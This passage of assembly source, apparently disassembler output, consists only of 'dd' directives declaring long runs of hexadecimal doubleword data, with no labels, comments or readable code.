		dd 6325CA00h, 2F100566h, 1807394h, 7CC155Bh, 40243B17h
		dd 0BBBD4E98h, 9508360Eh, 53DF40EEh, 0A64847h, 6A091411h
		dd 60F4C9E6h, 0F1A0BD0Eh, 0E46420CBh, 0FFB5EB74h, 4BB470h
		dd 24A6DFDDh, 0C3F8624Fh, 7D17D4B0h, 88A3D53h, 55001453h
		dd 2720E1C1h, 0B8595204h, 9C0B7C84h, 80E3074Ch,	0B97986A8h
		dd 3E8425A9h, 0A3330840h, 94C148h, 3A7419C8h, 1716DDE9h
		dd 1F7D1445h, 4755C2CFh, 0C0C818A0h, 0B018E298h, 0EE40F376h
		dd 542124A9h, 3DE58014h, 0F7F1BCEAh, 94B95C1Dh,	295C935Ch
		dd 11834440h, 82D960h, 0B5F39B5Fh, 0D8EAAC0Ah, 0D7EFA00h
		dd 31189C08h, 8B6C05A3h, 0E805EF25h, 467F120Eh,	11EBFC07h
		dd 4547B4B0h, 12BA00BBh, 1F04BF6Dh, 0A402368Eh,	914D1757h
		dd 80C49144h, 3CB53DC8h, 2D00DA7Ch, 0E6848EA8h,	0D1DE0FDBh
		dd 0BC8995h, 3A5D2DAh, 13C49414h, 26E4CD5h, 84F1BFE3h
		dd 0F47C7CE0h, 407F6300h, 937B0BCh, 92EE1E86h, 14657DCh
		dd 0D911A7F6h, 0C8446138h, 0A80021A1h, 0BDDCAC1Ch, 25407h
		dd 5CFDBAE5h, 65A67073h, 130A84Ch, 9CEC35F4h, 99C8C5ACh
		dd 0EAFB167Eh, 0CD880B22h, 0FD957B00h, 161DE71Dh, 13C1F4ABh
		dd 0D4A20B02h, 48E833F4h, 0C81C1A3Ch, 0E500391Bh, 1D83082Bh
		dd 3A006F56h, 7857C5A7h, 8A9BF0h, 5261CE22h, 9E0FD534h
		dd 649C8500h, 1FCA6679h, 26460006h, 0B3E4AE76h,	0CC0048EAh
		dd 859B6169h, 0B2BD83Dh, 158CB13Ch, 0F0265061h,	6300939Eh
		dd 9B41B6DCh, 10E90h, 1F582D6Eh, 9917701Bh, 85810B3Bh
		dd 66CFE850h, 2EF310DCh, 81343D2Fh, 0BEB4AB1Ah,	0A4B1FC77h
		dd 0C5A1A900h, 0BCD5369h, 1C6C0019h, 0ED20B394h, 3603A412h
		dd 0A48167Dh, 0C351D18Eh, 0D6BEB02Eh, 6DFB9907h, 0F5A0A12Eh
		dd 1FAA8D9h, 0CC315158h, 404C5366h, 0A702F480h,	0BE4D25B0h
		dd 60E53B7Ch, 4C9AB208h, 0A716200Dh, 6B140174h,	0D107246h
		dd 0B92D63A8h, 330BC6D8h, 9008AE8Fh, 1D2ABA3h, 94641080h
		dd 2407C02Bh, 2CC3D2DEh, 192EC840h, 844102F7h, 8548A546h
		dd 0F6AF3E60h, 13946B00h, 28397A56h, 15C112C2h,	0BE1201C0h
		dd 40ECCA0Bh, 0F2351A58h, 0A0B2D800h, 0E7330D44h, 9129C038h
		dd 6A89CAEh, 7D4644A0h,	33C70A9h, 0F38029Dh, 704665A7h
		dd 320570A4h, 4FCE03D6h, 0D7E07390h, 852C6B3Eh,	28C856BFh
		dd 0DC09AC0h, 441900D0h, 9B47A3EAh, 0E0978506h,	780BEC72h
		dd 2514013Ch, 2BAC89FCh, 0A4EEC7Ah, 0A56F2100h,	9D470205h
		dd 79D717F7h, 766B00F2h, 0BBB2883h, 0E0C3E31Eh,	0BE195E80h
		dd 7EF92FB5h, 9CC716AAh, 1A5D073Bh, 76DC1C2h, 2618F04Ch
		dd 0BFC19115h, 0C0D20094h
		dd 0BB390305h, 312D19ACh, 80C908EBh, 5C80C21h, 31BBDE9h
		dd 0B9BE2671h, 59901C28h, 0B005DDC6h, 9E1400Eh,	0B34FD480h
		dd 0E4582AD8h, 5397C90h, 6AE9265h, 0FF7BC30Ah, 213B0837h
		dd 0E16501B0h, 0A67500C7h, 9C8BBD62h, 0B8D230FFh, 0CDD34F4h
		dd 443EDBD8h, 7FE0AB11h, 64C3C100h, 6CCA2ADFh, 0C056E8DEh
		dd 7F788021h, 790646A3h, 8B38839h, 33EB0050h, 9DC2553Bh
		dd 4D00FF71h, 69CF1128h, 0A40F999Ah, 29B4690h, 397105CEh
		dd 109C31EBh, 0B805D6F2h, 79295C38h, 3919BC30h,	2A672390h
		dd 0F1EC6278h, 75400AAh, 0ABD4F05Fh, 0B0018820h, 4CB9B6D2h
		dd 4DC4E37Eh, 3C3D01B4h, 7B40BDCBh, 0D4403A9Ah,	14A48907h
		dd 0D7C06A7h, 88CA8BEh,	4421136Eh, 7380A496h, 0CDF416Dh
		dd 9719F8F6h, 4D19E048h, 9E585A9Ch, 0AECCC0h, 3B3E6802h
		dd 33F00C27h, 4320B200h, 0AB10509Dh, 0B77200CBh, 0E808A8CAh
		dd 86009105h, 7C2599B0h, 0F894FF07h, 0A65A00D4h, 33026A01h
		dd 230022CCh, 8FC94734h, 0A281CBh, 9B2F04EEh, 0DB228E9h
		dd 31628C00h, 0AAB87BFh, 0F39000EFh, 40D5686Eh,	8F0011A0h
		dd 6152B4FDh, 0BC6C18h,	0A2845D14h, 0CA0AEBAAh,	9F8E4800h
		dd 0DC2B2F71h, 767900CCh, 120C6FD2h, 1D03A881h,	0FC6D4BC0h
		dd 619BA875h, 0E5C100D4h, 0E8CF2C9Eh, 0A0014397h, 0E2FCDF9h
		dd 7F204593h, 2474D3h, 4AF39A63h, 3C490647h, 0A6E9B506h
		dd 0F839C4C1h, 68641FF6h, 0C95E03B4h, 4A88F223h, 941E99EAh
		dd 29CA4543h, 0B08106Dh, 41CE1BEBh, 4D98FFC8h, 3C558CFh
		dd 0E69ADB7Eh, 8BF70020h, 9725AB0Dh, 1D6674AEh,	21F209h
		dd 620C73D7h, 0E176EDFCh, 0E64E6904h, 0DF039475h, 0CE89DC7h
		dd 0F90060AFh, 4616896Bh, 0C043815Eh, 2122F70h,	3E02A342h
		dd 0D860F5C1h, 0AD8C83B0h, 9C83CFCAh, 0CE1007C0h, 108BD40Ah
		dd 0D1A1252h, 0AD00CC75h, 0DD8948C9h, 1EF214C0h, 401C0A9Ch
		dd 9734E85Bh, 44F23BA6h, 0FBD3648h, 60ACAB77h, 0C6F1A83Ah
		dd 438E00A1h, 24491C23h, 0D300F67Eh, 0B059AA2Eh, 7453A093h
		dd 7DD118B2h, 0DEED54B1h, 9BDCEC05h, 0EF074F15h, 19C0BE02h
		dd 387BA3h, 0C32DAF61h,	0DE3763C6h, 40B98B1Bh, 10200928h
		dd 7F58AEFFh, 637603Fh,	560E696Ch, 0BE7F1F11h, 0D0DCC0A6h
		dd 0C8D42ABFh, 217708CCh, 0A6D70094h, 12F5EAF3h, 9A197D4Bh
		dd 0CB6045ADh, 64EFA5C5h, 60755880h, 1083A6CAh,	0C8BC70DDh
		dd 0C388806Eh, 0A33F12A6h, 6F4A3907h, 0A2E00F53h, 0C0374695h
		dd 0AE0DDEB0h, 0CF013589h, 3662F84Ch, 12F877D8h, 63E9395Ah
		dd 5060479Bh, 0E86F07D1h, 24068FAEh, 1FE6484Ah,	21026108h
		dd 0C8E97720h, 1854F86Dh, 9A002E88h, 5DCA6A72h,	4E6FA6h
		dd 5943C888h, 33A20E76h, 0DED19D03h, 0A0C4AD06h, 67B65DABh
		dd 82CBF1AEh, 808F16DDh, 0FAFFACC0h, 3F79FCBDh,	8066553Bh
		dd 2E14983Dh, 0E6CFF57Ah, 0D7FE1EA9h, 48ED00C9h, 0D13070B7h
		dd 8C03C3F2h, 0EF6CEB08h, 0C00CB0C4h, 0D47B5CA9h, 0B81D9600h
		dd 0DEC70775h, 1100EAFCh, 2B2D5C21h, 0D58D78h, 717B5A50h
		dd 2F8CE1D4h, 71EC74Ch,	42CE9D2Ch, 0AEFA2E50h, 13F4004Ch
		dd 160723BBh, 0BC002B21h, 0C6B86611h, 0CF0171DEh, 0FD6E1261h
		dd 13BC5960h, 0E00FBF03h, 0E057B3EAh, 6489E468h, 0A94D0E3Fh
		dd 2B208565h, 3D7315B4h, 52123E1Eh, 7D012F80h, 4FAF8Ch
		dd 2EC68F3Ah, 0C418B790h, 8071403Eh, 0C82A8ADh,	24A285h
		dd 2DDDA479h, 0FC1D80FAh, 9279587Ch, 1CEA8F01h,	4708D222h
		dd 3DA21980h, 273848Ah,	70065432h, 6944408Ch, 26591EEAh
		dd 0D9C3CAABh, 8D130090h, 2288775Eh, 7D6AFA0Ch,	30AC4969h
		dd 527E87A5h, 7B0743D6h, 7DF44B1Dh, 592C56h, 5A48AB9h
		dd 73C87245h, 0D307500Eh, 527780F3h, 0F680DEE5h, 0CF88A0A6h
		dd 25EA11h, 8EB6F841h, 0C5AB281Eh, 82B53706h, 87113C2Dh
		dd 0DF8E6104h, 5D10801Eh, 0BFC0A707h, 887D00D8h, 6E84183Bh
		dd 490011D6h, 2D559933h, 0BACC97h, 83E780ACh, 4AA0A26Fh
		dd 7EE56900h, 786C8C24h, 3AEF1EFFh, 837BC08Ah, 387DDBDh
		dd 0A2733300h, 0B30CCD0h, 98DB07EDh, 80E52165h,	3E9DD911h
		dd 80D54D3Eh, 0A9CA5316h, 0E642BDh, 7BCD9777h, 0A83276FCh
		dd 20F9F650h, 38735D00h, 8216E0AAh, 0FCE40050h,	401ADC2Dh
		dd 0F700492Bh, 0D43E9815h, 0AC9367h, 0C33C813Fh, 0FDE07FC1h
		dd 80DF4F3Eh, 472B338Bh, 25ECAED7h, 0C7607D06h,	0DC00264Eh
		dd 0BEF19AD6h, 4D2FF5h,	0AA56BA73h, 9E2CAE0Ch, 0ED69B900h
		dd 1C149A10h, 8BD7004Ah, 563A7D6Dh, 0BE00A038h,	0CFC33034h
		dd 0D37191h, 0A1FD2D89h, 0A6A3DD7Ch, 11802E00h,	0B390DBBh
		dd 0BC1201D0h, 0EC6FB6F7h, 0E332700Ch, 0C0114C26h, 7DB4C103h
		dd 6E4C0043h, 0DDE07AF7h, 0E12EEAFCh, 0B03925EFh, 0F56818B9h
		dd 705C00BEh, 32A8594h,	0D9FAA1F9h, 2C55A400h, 717A4F8Eh
		dd 8D60248Bh, 0D8B58004h, 0EE1F809Dh, 6EA82660h, 7E9EB68Ch
		dd 0E41E7D75h, 0B9091D73h, 0FF0E8024h, 0F538D551h, 0D68B7D0Ch
		dd 0EA1F49D9h, 76C900F6h, 1EAEDF9Ah, 0FC794C85h, 0DB7B4700h
		dd 0D97040AAh, 5AC1009Fh, 5AD25C6h, 0FD1FED37h,	95CECC50h
		dd 0A6E6E0FEh, 0F3EA5E5h, 0B0F9261Fh, 0D8FF831Ch, 0C4C0406Fh
		dd 0C7033268h, 50C317F5h, 0CA4DA860h, 99E000E3h, 758CDF21h
		dd 9D714EDCh, 43C43C00h, 64B670EAh, 0D841D1Bh, 0EFA340B7h
		dd 14FCD5BEh, 3DF15538h, 1FD90290h, 0E3BA2FE5h,	8230AF95h
		dd 7B247592h, 5D040F8Dh, 0D5C0BB90h, 0C162C5D3h, 27E88F00h
		dd 346DB796h, 53421E18h, 93CA8064h, 662F4965h, 288A6003h
		dd 0E05BBF05h, 42C323Ah, 0E244F68Dh, 306F82B0h,	75A0CC48h
		dd 1D01D400h, 0FB1ECEA7h, 0A5A90FBAh, 0E0A05CB2h, 0CC482E7Eh
		dd 0E7C9CF1Fh, 0AAA82DC0h, 3ED30CACh, 7F28D4Eh,	30196BEFh
		dd 0C05B55C1h, 92A503Fh, 0B7D7BA01h, 31177B9Dh,	3D577180h
		dd 0BFA2BC05h, 2F7ACC00h, 64366B5Dh, 92910EECh,	0DEA051F2h
		dd 3A57EB29h, 47114102h, 6008FF0Ah, 958D58h, 0FAD069A2h
		dd 7313C80Eh, 6AFC4A07h, 78E02F90h, 37C0629h, 99A89A84h
		dd 680734C4h, 26F85745h, 58BC98C0h, 0C6200FEh, 19AC4E47h
		dd 99FA6110h, 0E4B55304h, 45800328h, 0B8E96678h, 4FF64C7Fh
		dd 83B02600h, 868CEA5Eh, 0FE3EF913h, 935D6C41h,	0D9605941h
		dd 0D8F700CEh, 0D34FC8F3h, 0B4022CC3h, 0B755BC94h, 0A7784826h
		dd 32CD186Eh, 2B978E3h,	7736EF00h, 0B4DDE89Ah, 29B02Eh
		dd 6218290Dh, 3436B65h,	54D1A603h, 90D80EEAh, 8B9C3Dh
		dd 0B140B01Ch, 721066DCh, 5BFBD00h, 0A4806F4Ch,	0BB200C3h
		dd 6C0D2851h, 2E7AE663h, 73001471h, 8FDC0E0Fh, 0F72600Bh
		dd 0F443BEE2h, 7FDF42E0h, 8C00FF30h, 19E6CD59h,	4FBF7Ah
		dd 53D931CAh, 0C7039C66h, 860C052Ch, 0A5F16D07h, 98B85AB0h
		dd 798F3D26h, 0D21192h,	861876D4h, 70FA5E0h, 0C0E5D590h
		dd 0B0A8DA62h, 1DB300CFh, 383F7DA0h, 3307B637h,	52362EEAh
		dd 0B55F4530h, 9DFB00BDh, 0D64B15F6h, 0FF0079F8h, 3A41741Dh
		dd 0D4820Bh, 36DBB0AEh,	0D39FBC25h, 2944F400h, 0D679B661h
		dd 92F8001Ch, 337D8D7Eh, 340B3C9Ch, 2077B55Bh, 1B389A4Ch
		dd 0A9BB0080h, 71B1E1DFh, 0B0744DA8h, 0E97C0CB0h, 63434000h
		dd 70EDF96Dh, 3BBB0A15h, 0E01355h, 0FF0AA04h, 0C8A09D25h
		dd 0E6001B53h, 83BB6FCBh
		dd 1DCA0A14h, 5FF70EEh,	4895098Ch, 614EB28Ch, 0B5DF11BDh
		dd 5F7830h, 0FB49556Ah,	0A7308968h, 0B10072FCh,	9C27C8CBh
		dd 607A94B8h, 294AAA22h, 621FE9C1h, 8EC335F6h, 0EB2EF45Eh
		dd 0F0A2DB0Ah, 8BF537h,	390BD44Eh, 614786E8h, 7CC30800h
		dd 0D51617C9h, 358C2E58h, 9C8B0B35h, 87BB4F80h,	6D0732C4h
		dd 0BEC3FCC0h, 9AB7A70Eh, 633F3800h, 8ADD0014h,	2584F271h
		dd 0DF733751h, 0F9FCA70Eh, 7450079h, 5B7AA6h, 0DC1314C1h
		dd 0DE80C5E2h, 38095000h, 84A254D9h, 0D0EA44h, 5D161046h
		dd 0A1754EEFh, 8000AAB8h, 0D9823D4h, 35095C6h, 0A7182A2Fh
		dd 46F0B47Eh, 0E9784DE8h, 3D970301h, 0DC66C439h, 9253DE70h
		dd 92D900ACh, 5A33F9E1h, 9F5C9EA8h, 0F6F20110h,	1B4FBB14h
		dd 737A70h, 0C51DCBE2h,	0ACC6C351h, 0E70AD100h,	3802107h
		dd 0D3F40EEFh, 0C8672714h, 0AE7AB348h, 9E89D2F0h, 0E177F600h
		dd 517E9A64h, 1FC40050h, 8E4476A2h, 0B300DCD1h,	0D732080Ah
		dd 9774D0h, 9E6E6CCBh, 7CCCB857h, 9BF78A01h, 0FA9C0BBDh
		dd 0FBBFDE0h, 808F48FCh, 5F88E460h, 0CD044928h,	0ACF2DA4Fh
		dd 6AAD0C80h, 322F00D2h, 0E9A74264h, 0AB1375CCh, 0B440350Eh
		dd 0C0F00733h, 93700A4h, 0B914FB22h, 0CA0F4573h, 7F7D942h
		dd 7810C74Ch, 0FDA2C0h,	0D7E7E933h, 0A3E6AC74h,	0EF940C00h
		dd 0F75C64ABh, 3908B8B2h, 24C8BA0Eh, 0A66EAD00h, 0CB34FB4h
		dd 1CFC7712h, 44A9A840h, 0F62CADC2h, 7C92067Dh,	98E7BDC3h
		dd 109A6E31h, 32133B35h, 7E2022C0h, 98D96C00h, 0C6FDE310h
		dd 6A7F009Bh, 6DB35387h, 0B107485Fh, 0DCBCA1DEh, 0EE00A04Bh
		dd 0B97233h, 130E5D9Fh,	462DA227h, 405F000h, 4CFE12ABh
		dd 63C9EC74h, 812EA6A5h, 887C4030h, 13A76F28h, 45C297ABh
		dd 0C776E4h, 0A2869D64h, 2E07D345h, 4435B33Bh, 1F55BEF1h
		dd 3420E2C9h, 7EEE0F5Ah, 35A0C4D8h, 517CD50Bh, 8F0019F2h
		dd 97B9EBA1h, 0DE170Ah,	3982F0F7h, 504CFAAEh, 974B513Fh
		dd 7701A278h, 9B93F37Bh, 1FFE0C4h, 67E9BDB8h, 70A711D3h
		dd 78382648h, 44830039h, 70B2DD16h, 90FF070Fh, 701E0C3Eh
		dd 2CEE180Eh, 0DF784C00h, 8764B160h, 57A79ABh, 0FBF8123Fh
		dd 0CE108017h, 0D800E6DFh, 11A9D9E0h, 7B1501h, 0A4824D81h
		dd 34AB5606h, 84A829EAh, 840AF408h, 0B026B352h,	81EB33Fh
		dd 69213903h, 64158501h, 0ECBBF0D8h, 10F67AF1h,	2204B478h
		dd 3A9E3D28h, 569C4C90h, 832C396Ch, 0BBC27786h,	1063085Ch
		dd 0E8BE7A21h, 2D21415h, 5353EF0h, 0E7E0A71Eh, 0AB00B837h
		dd 3F9355DDh, 63C9D801h, 3C1B381Fh, 345A43F2h, 0E859A500h
		dd 7C726F1Ah, 97666D7h,	919821F2h, 42AE900h, 54BD5B79h
		dd 0BB58C46Dh, 241019h,	0A38E651Fh, 1E7816Eh, 352DED76h
		dd 0B2E342CEh, 306D7828h, 3F11E85Eh, 0EF882A6Fh, 0E97D3080h
		dd 0DEAB146h, 9072E35h,	88600B48h, 0C0A2C41Eh, 0E3BCA98Bh
		dd 72A0B4A0h, 0BC2E8528h, 43E88900h, 8E0D6E92h,	9BBE07D6h
		dd 60AF511Ah, 504DC3B4h, 3EDB0658h, 0E6B3D22h, 6068090Dh
		dd 0E8804CB7h, 8AE71DA6h, 0C5754366h, 0EFF8B901h, 9F753E8Dh
		dd 7892DA00h, 0FD665543h, 0BF840067h, 0EAF02B36h, 0B003FDBh
		dd 0AD6AF51Fh, 7C174C70h, 567699h, 31F4C5B8h, 58F992EFh
		dd 4F21029h, 8FB26763h,	49CACFC1h, 3E781980h, 33C05FBFh
		dd 0C7F5AE07h, 5C46A9DBh, 31891D21h, 0D2C940BFh, 8D221F4Dh
		dd 4FE89207h, 25B10661h, 0BCC88BF9h, 647FCEBh, 310A9FD2h
		dd 841C404Dh, 6C13ECCh,	1A66674Eh, 0E88BDBEBh, 0C2A3419h
		dd 0E3AAC477h, 3E481020h, 20362973h, 30E123E2h,	0EE20DC4Fh
		dd 7E1B0CFFh, 769022F5h, 92AD1916h, 8C9C2E0Ah, 0B780F09Dh
		dd 95C71863h, 3E93334Dh, 213EF608h, 4AB780DFh, 0A32B10ACh
		dd 4F7D0634h, 60865AFCh, 0A5166908h, 0D3020647h, 78C439E1h
		dd 4F1D9EC5h, 7587DF30h, 0AAFD47D7h, 801911B8h,	0CFA1BF34h
		dd 229E4383h, 2F8B0323h, 678D9BBFh, 53D066A8h, 79BE940Fh
		dd 758123BDh, 0D1280E11h, 21839A6Ah, 55C8E78Dh,	0F4A9DF1Ch
		dd 389BF0C4h, 9211FF60h, 13209A0h, 9D6CD665h, 0D16D3E7Dh
		dd 0C92180F6h, 0B5240A48h, 0EB4E3B5Bh, 40A1B400h, 7B5428ADh
		dd 0D1EAF700h, 3B587D50h, 0A68E0005h, 0ED59139Ah, 8B0AFE79h
		dd 3CD17B5Fh, 0F7465Ch,	45DE71EEh, 7B3BF32h, 1B040C07h
		dd 44F940FEh, 0CF502098h, 0FA4012C4h, 40097D5Ah, 0B3152A24h
		dd 81B01810h, 0CFA0BF33h, 105C31FEh, 1CBF2ABEh,	0C3A8A170h
		dd 0CC2FE4EFh, 936656F8h, 1B2099C0h, 712A3748h,	1E7C004Dh
		dd 0E81172D5h, 16050F76h, 42282943h, 1AD38C07h,	8D56FFF0h
		dd 0F6D703F2h, 4E650151h, 63887100h, 7E5B1D0Dh,	5AD1411h
		dd 9A2394AFh, 0DD0A9300h, 856D0E64h, 0D05B3C8Ah, 0A51D9E01h
		dd 833F18BBh, 21008DABh, 0EBB0593Bh, 763344h, 7E4FDD0h
		dd 0AA6451D4h, 0D8751202h, 40F0BCF6h, 809C66A8h, 5B499286h
		dd 0B7348090h, 43CF1862h, 7CEA229Eh, 3CB7025Eh,	0FF1B13D7h
		dd 69088044h, 351397Eh,	0F69ACBB7h, 45316005h, 84005911h
		dd 2260ED35h, 379F00CFh, 0A03BA549h, 2130330Dh,	0C414499Bh
		dd 71C07BE1h, 0DCD25442h, 0DDDF02D1h, 0C233B8D9h, 3443D480h
		dd 65F0A7BAh, 94CD94A8h, 5E699104h, 0D04F0Dh, 0C1F486DCh
		dd 1D790588h, 84542067h, 0DB5EC413h, 0B40E2842h, 2F300B6h
		dd 0D0A67A8Dh, 46079946h, 4865340Ah, 3F40E1C4h,	91270A0Eh
		dd 8265B200h, 7CA8CA01h, 925DEE4Bh, 0C0C2FA04h,	8073B7AAh
		dd 73DCC68h, 66F89DDAh,	0FE6204C0h, 12D43D11h, 1BC7B1Ah
		dd 60296728h, 0CF342040h, 0A320D6F8h, 0D4043921h, 33C8E6B0h
		dd 0B30399C4h, 94894305h, 7B300046h, 9A493CD8h,	0F5280E4Dh
		dd 0CC598048h, 0CBAA0908h, 54A80AB2h, 0A090804Fh, 311AD216h
		dd 0DE68F5A2h, 0F9E0521Eh, 808811E1h, 3A207DF1h, 7181A9h
		dd 6862D6DFh, 3079D2CAh, 21510B2h, 50EC96CDh, 3F8C4734h
		dd 1B88B720h, 0DA5995EFh, 28A8B7F4h, 73D83F90h,	0E6980D2h
		dd 0C86E4130h, 302F58E3h, 99D1F7BAh, 2101A664h,	8E7CB585h
		dd 8988D4Ch, 9C38C161h,	0F481A100h, 4F5C27FCh, 6660C0Fh
		dd 76507C6Dh, 23183958h, 0B72A0149h, 183F1B90h,	0C25088E8h
		dd 0A828B700h, 0FD0D118Bh, 0C3C002ABh, 0C4017F8Eh, 9558DCA0h
		dd 68B24909h, 45DDB8C4h, 23A66630h, 448C8571h, 9E2C2A54h
		dd 99017BA1h, 3C583A03h, 988066E2h, 0BAB118B8h,	495251FEh
		dd 89055C3Dh, 2E22ADFBh, 62ACE198h, 0B9FCDD29h,	8C673C20h
		dd 0E83829h, 3BDE86BBh,	0A7378F27h, 0F88EF169h,	889F21h
		dd 0C864E4F5h, 0C932BE6Ah, 0B7241C00h, 80F63BEFh, 3157F44h
		dd 31C8D993h, 0C90A84DDh, 98E7CC02h, 0ACA6209Dh, 3B86E09h
		dd 996528D8h, 9440F0FCh, 488DCA05h, 4518206Fh, 0F455D1F8h
		dd 0D79C7E09h, 82D83284h, 23D82AF0h, 6056E442h,	0A1910208h
		dd 318D852Ah, 69391053h, 7B7DA6h, 83A508B3h, 3BA6FA8h
		dd 0BB9021C0h, 7E55573h, 42C24BDCh, 1367F29Bh, 0CEACA88Eh
		dd 0BC1E7469h, 47007162h, 0AAB22BDAh, 0C59E01D4h, 817ECB0h
		dd 5FB1DC02h, 3F29633Bh, 85C69891h, 646495B8h, 90F17107h
		dd 0C87AF910h, 6D4EF05h, 7C8135A5h, 36009672h, 0D2241B0Dh
		dd 6980D805h, 0E6A84262h, 66E12409h, 0BA4C808Ch, 7892C7Dh
		dd 449E3A07h, 5EBFC2E0h
		dd 29309FC1h, 2CCC6580h, 0F5BCA4F1h, 0D9F200F2h, 0D65462CFh
		dd 0C73067C4h, 0F03350A7h, 0F2DD099Eh, 0E817ADE8h, 0D283F791h
		dd 0E9C80CE1h, 4FE0B1F5h, 76EBDF01h, 1906643Eh,	54F1D034h
		dd 71448440h, 5821004Ch, 49B21F87h, 9760CE6Fh, 85F72098h
		dd 1650C54h, 0C7C89ABCh, 0F24A5812h, 0E7D7480h,	99A928D8h
		dd 0D8D261B0h, 30F7F9CAh, 7522936Ch, 22C984Bh, 0A6C47EDDh
		dd 88636BADh, 1EC32010h, 5E30B22Eh, 1C002146h, 3022AF5Dh
		dd 20F9EF31h, 0EA408258h, 0AC8B493Bh, 0B96DC100h, 0C3778EAFh
		dd 0C7DFD903h, 0B87F7B21h, 24111060h, 0F45D95h,	0C4424DAAh
		dd 9300ACE4h, 6208A5Ch,	30FC8439h, 4D58E5EEh, 0A713F5C8h
		dd 0D804DD8Ch, 8538962h, 0D180F024h, 6ABD421Ah,	0D1D8B992h
		dd 1E4188Eh, 1E0F2012h,	83548979h, 0CACC04A0h, 1B880AA9h
		dd 399CCDC8h, 0BF2801C6h, 0AE23C095h, 87A37C28h, 3CDBFE0h
		dd 70BA5403h, 886907D1h, 267E187Ah, 8AD46D41h, 83D4AACCh
		dd 5375117Bh, 8E84800Ah, 87829C98h, 4620BA92h, 0B7230450h
		dd 62D71865h, 1ACD20EBh, 500A1B7h, 9794E539h, 0C04C8393h
		dd 0BE28F699h, 4D038B1Bh, 0B5AA6F88h, 9C8D98F0h, 0ADE425E8h
		dd 0E111B81Dh, 0B314A880h, 0B500FBE6h, 0F3EBC53Ch, 0F74ECBBCh
		dd 23D2A440h, 246B0788h, 0C0147967h, 9E55EA9Ch,	7C80C4B1h
		dd 73383605h, 91D813C0h, 23842FE3h, 5097001Dh, 0BC9A0E70h
		dd 731E4D1Ch, 83123FCFh, 0E86E611Bh, 0B2FF77C5h, 22346BCh
		dd 8535A190h, 360C795h,	80A6680Ch, 7A02A3E0h, 11D92701h
		dd 0DADC4F6Eh, 0F418E9A8h, 0DE7226C0h, 32A9C3Ch, 74DDD401h
		dd 99EB629Bh, 0BC9C185Ch, 18008CD9h, 3D334CB6h,	26AC56BFh
		dd 40BCBA63h, 3E4F75DBh, 91D58E01h, 0E91FFA54h,	342CDCh
		dd 8C485E8Bh, 5265237Eh, 0E861040h, 5382B5BEh, 5F76E5E1h
		dd 562F70DDh, 0C8571C4Ah, 0EB967C20h, 0EABB0002h, 621A3E9Ch
		dd 0A919FEF0h, 0A50405CAh, 20824834h, 0D17E117Fh, 0F007D931h
		dd 50F0793Ah, 1449675h,	81C60572h, 3306C567h, 0E0AD04DCh
		dd 0E8C54703h, 309D60D2h, 300809D2h, 646CE665h,	0BACB40F4h
		dd 374C09h, 42B201CCh, 0FDDFF0DEh, 0CD89709Ch, 0F6C00171h
		dd 0FBE1E018h, 0C468E7F2h, 0C0FB601Dh, 3D210055h, 73940ABDh
		dd 0F149D91Bh, 103050C8h, 666831C0h, 0FC3DA44h,	2EE131F4h
		dd 67FB40DFh, 0D2343288h, 10203058h, 0AC007EE9h, 89A093DEh
		dd 793110F6h, 4764B9C9h, 15A6E050h, 0D82B01B4h,	0F30C8546h
		dd 13ECC8C7h, 89430704h, 94D0E988h, 15B26708h, 949038B8h
		dd 4BD6BA01h, 607CEE18h, 82046289h, 0BF222402h,	2392CC82h
		dd 71C66534h, 4C0F1CFEh, 5EE10A6Bh, 0C15C4B40h,	1361B80Fh
		dd 0C021DD06h, 7F9BBBA0h, 881C012Eh, 0F58C5880h, 0C699A49h
		dd 9D741A53h, 82ECCF60h, 71CCE48h, 0C425E111h, 0AC00FC3Ah
		dd 0D2C9BA37h, 16B4A99h, 205DE5C4h, 11204FCFh, 5585C718h
		dd 0CC1C8869h, 0C7F6D803h, 0C2B393D7h, 98E86C1Bh, 0CFAB3F74h
		dd 5B888459h, 0BEDD8D80h, 1346C44Ah, 0CD5CE509h, 0AC3C2CCCh
		dd 0DD018CE8h, 0EC914BC1h, 0A1809606h, 50CA6979h, 62005EEBh
		dd 2221AEEFh, 7F289FB8h, 0BCE4AB48h, 7BA1F88Ch,	1EA303CAh
		dd 42090471h, 0A79F8EB8h, 0FE594600h, 0E8D28465h, 273F1E4Ch
		dd 6756CAEAh, 28874088h, 38BAE4C8h, 94325C08h, 8C010659h
		dd 0C2261813h, 0CC80401Bh, 2879F293h, 29B203E8h, 0C07D7276h
		dd 0DF46AAD0h, 79FC53Eh, 93F00EC7h, 5BA3EC1h, 0E170A980h
		dd 3D7B85A7h, 35FDE50Eh, 1BC924D2h, 184D90D0h, 8B060C80h
		dd 0C77A2388h, 3AB5FF1Ch, 2F7F2C82h, 0E1F84058h, 98726063h
		dd 0F2729A7h, 4E1F4016h, 1B24E480h, 43ED09CCh, 0A38205CBh
		dd 0D480524Dh, 0B89E1F34h, 680124F2h, 0E766F8FAh, 0FBF04107h
		dd 70F7C09h, 851B2C19h,	5CE840EFh, 27004F43h, 5BF9773Dh
		dd 0F7716029h, 21809CD1h, 9627B7AAh, 7C01C7BEh,	4B5BEE47h
		dd 3601A509h, 4CAECC6Fh, 0F4FA2B0Dh, 38807071h,	0FDE92CE3h
		dd 78CF598Bh, 82ED03BBh, 3400398h, 28E0B5EEh, 7CE82800h
		dd 0A204F3A5h, 0FC100C17h, 7808AAD9h, 0E520E060h, 19BF35Bh
		dd 0E6860D5Dh, 0F0BEEB6Fh, 30609629h, 68110C71h, 73A901AEh
		dd 0BBB1EC49h, 8058D148h, 97F97121h, 0FC059CD1h, 44D018E1h
		dd 0D5B4922h, 6035AE1Eh, 7627AB09h, 877D00BFh, 85439ECEh
		dd 0B917B500h, 0B702A165h, 827E7Ah, 153B4F46h, 9F6D68CDh
		dd 8058553Dh, 23353019h, 566460h, 98596680h, 0BFCE47F4h
		dd 0CD03D6E8h, 76573DB9h, 0FF9EE815h, 0EEA11E4Fh, 0C11700ADh
		dd 0BD1BB604h, 5EFA9707h, 0F8201C59h, 724D6A3h,	44F342CEh
		dd 0EA8F80E8h, 3B0FE4FCh, 0E01BFECAh, 0E5B54897h, 72710033h
		dd 65685390h, 51EEB80h,	3C403554h, 6657B9B7h, 0B0F004B4h
		dd 0C0DA48A1h, 4FF12EA1h, 8EEF5200h, 0D3923265h, 0F1500ECh
		dd 0DB90AA10h, 0AB007BF3h, 0F2B713A7h, 7A8AF612h, 604879FFh
		dd 0E4223C2Dh, 0E5002579h, 0F2E7E867h, 3B71154h, 42D04471h
		dd 84D80353h, 0BC00B449h, 0BB3E4A8Fh, 1EC7D554h, 806C63DDh
		dd 351A76C2h, 4B00815Dh, 46F46DCCh, 351F5EAh, 78599C27h
